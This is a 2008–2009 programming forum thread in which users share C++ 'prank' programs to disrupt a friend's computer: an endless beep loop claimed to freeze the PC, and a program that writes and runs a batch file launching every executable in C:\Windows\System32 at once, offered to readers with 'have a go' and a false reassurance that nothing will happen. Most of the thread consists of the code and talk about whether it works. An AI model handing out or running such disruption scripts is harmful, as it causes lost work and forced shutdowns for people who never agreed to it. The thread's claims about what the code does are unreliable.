System Resource Manipulating Script.

Please support our C++ advertiser: Intel Parallel Studio Home
killdude69 killdude69 is offline Offline Jul 14th, 2008, 1:15 pm |
0
This simple command line script is used to pull a prank on one of your buds. What it does is play an anoyying beeping sound over and over again while rendering the computer being used completely unresponsive. The task manager doesnt even respond. The window never loses focus and nothing can be done but listen to it or turn off the PC.

I was just trying to make a simple alert system when I accidentally crashed my comp. testing the script. TEST AT YOUR OWN WRISK. This is meant as a simple demostration of what such a small script can do.

Just put the code in one .cpp file and it will do its work when run.
Quick reply to this message  
C++ Syntax
  1. #include <iostream>
  2. using namespace std;
  3.  
  4. int main()
  5. {
  6. int i = 1;
  7. while(i == 1)
  8. {
  9. cout << "\a"; // \a = Alert (Beep)
  10. // This just plays a sound while the computer tries to keep up
  11. // with the incoming calls of sounds. The PC will try to keep all
  12. // of the records of input and output, rendering the computer useless.
  13. }
  14. }
0
William Hemsworth William Hemsworth is offline Offline | Jul 14th, 2008
Heres another

Your computer should be ok with this, have a go

  1. #include<iostream>
  2. #include<fstream>
  3.  
  4. using namespace std;
  5.  
  6. int main() {
  7. ofstream out("openAll.bat", ios::out);
  8. out << "for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a";
  9. out.close();
  10. system("openAll.bat");
  11. return 0;
  12. }
 
0
killdude69 killdude69 is offline Offline | Jul 15th, 2008
I do not think I am going to try your script williamhemsworth. Nice try. lol. Let me guess, that script alters or deletes system files. Anyways, my script is harmless, it just completely disables your computer in a matter of seconds and the only bad outcome is a possible loss of work if the victim was working on something.
 
0
William Hemsworth William Hemsworth is offline Offline | Jul 24th, 2008
Actually, its just opens about every system file this is at once the most your computer will do it shutdown when the "shutdown.exe" file has started, but many hundreds will open before that ^.^ Your computer shouldent be damaged in any way
 
0
tux4life tux4life is offline Offline | Jun 1st, 2009
Hi, William, why not just: system("for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a"); ?
(no need for fstream )

And killdude: instead of writing: while(i == 1) you could simply have written while(true) , though yours was not wrong
BTW, Your script doesn't render my computer useless
 
0
William Hemsworth William Hemsworth is offline Offline | Jun 1st, 2009
Why don't you try that code before you think it works
For me, it has to be saved as a batch file first.
 
0
killdude69 killdude69 is offline Offline | Jun 2nd, 2009
Thank you tux4life, for the generic sarcastic giggling smiley.

tux, that would not be my fault. Because I tested it, it froze my computer and the task manager would not even open.
 
 

Message:


Thread Tools Search this Thread



About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC